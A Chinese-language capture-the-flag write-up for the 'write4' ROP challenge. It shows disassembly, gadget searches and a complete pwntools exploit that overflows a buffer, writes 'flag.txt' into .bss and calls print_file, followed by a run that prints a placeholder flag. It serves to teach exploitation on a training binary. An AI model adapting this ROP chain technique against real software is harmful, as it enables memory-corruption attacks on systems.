题目描述#

正如题目所言，我们最感兴趣的字符串"/bin/cat flag.txt"这次并不存在。为此我们引入了新的方法：通过找允许我们将值写入内存的 gadget和写入位置，构造rop链，达到在指定地址写入目标字符串并使用的目的。

解题流程#

工具#

pwntools，ropper

依旧精简

查反汇编，确定函数地址，找gadgets；readelf确定写入地址#

不看文件权限了，懂的都懂()

直接看反汇编

1
objdump -d -M intel ./write4

找到：

1
0000000000400510 <print_file@plt>
2

3
0000000000400628 <usefulGadgets>:
4
  400628:       4d 89 3e                mov    QWORD PTR [r14],r15
5
  40062b:       c3                      ret
6
  40062c:       0f 1f 40 00             nop    DWORD PTR [rax+0x0]

usefulGadgets里面的指令翻译过来就是把r15内容写入到r14地址内容对应的地址，正是我们实现在指定地址写入目标字符串并使用的关键所在

这次多了一步用readelf指令在虚拟内存中找到合适的可写段，指令为：

1
readelf -S -W ./write4

找到：

1
[23] .data             PROGBITS        0000000000601028 001028 000010 00  WA  0   0  8
2
  [24] .bss              NOBITS          0000000000601038 001038 000008 00  WA  0   0  1

虽然两者都是WA(可写)，但是这里我们选择.bss，这个总结的时候解释

考虑到后面还会调用参数，题目也说了

1
重要！
2
PLT 中有一个名为“函数”的条目print_file()存在于挑战二进制文件中，只需将要读取的文件名（例如“flag.txt”）作为第一个参数调用它即可

那我们只需要找到pop rdi；ret，到时候将字符串写入地址作为第一参数即可

别忘了写入操作也需要在r14、r15中放入数据，所以还需要找到类似pop r14；pop r15；ret的指令。那么

依旧请出我们的ropper：

1
ropper --file ./write4 --search "pop rdi"
2
ropper --file ./write4 --search "pop r14"

here they are

1
0x0000000000400693: pop rdi; ret;
2
0x0000000000400690: pop r14; pop r15; ret;

准备就绪，开始构造脚本

构造exp脚本#

长这样：

1
from pwn import *
2

3
p = process('./write4')
4

5
p.recv()
6

7
bss_addr = 0x601038        # .bss 段可写地址
8
gadget_mov = 0x400628         # mov [r14], r15; ret
9
gadget_pop_r14_r15 = 0x400690 # pop r14; pop r15; ret (请根据实际情况核对该地址)
10
gadget_pop_rdi = 0x400693     # pop rdi; ret
11
print_file = 0x400510         # print_file@plt
12

13
payload = b'A' * 40
14
# 1. 把地址和字符串分别弹入 r14 和 r15
15
payload += p64(gadget_pop_r14_r15) + p64(bss_addr) + b"flag.txt"
16
# 2. 执行内存写入
17
payload += p64(gadget_mov)
18
# 3. 传参给 print_file 并调用
19
payload += p64(gadget_pop_rdi) + p64(bss_addr) + p64(print_file)
20

21
p.sendline(payload)
22
p.interactive()

跑一下：

1
python3 write4.py
2

3
[+] Starting local process './write4': pid 24031
4
[*] Switching to interactive mode
5
Thank you!
6
ROPE{a_placeholder_32byte_flag!}
7
[*] Got EOF while reading in interactive
8
$

flag出来了

收工

总结#

write4 这题让我第一次把 ROP 链从**“调用现成函数”扩展到“先通过 gadget 修改内存内容，再把这块内存作为参数传给函数**

我学会了寻找可写段，理解了 mov [r14], r15 这种写入 gadget 的物理作用，也进一步巩固了 plt入口、参数寄存器和rop链连续执行之间的关系

另外附上一些做题过程产生的认识和理解：

内存写入从你给的地址开始，不会自动追加到末尾
已有内容会被覆盖
QWORD PTR固定写8字节
字符串能不能正确结束，取决于后面有没有 \x00，我这里flag.txt刚好8字节(没有\x00)，所以后面可能是\00，又或者不会影响读到正确字符串
如果大于8字节又想连续写入，就要和前面一样，自己放上后续地址、内容，并又接上一个写入gadget
CPU不管类型，类型是后续代码怎么解释这些字节决定的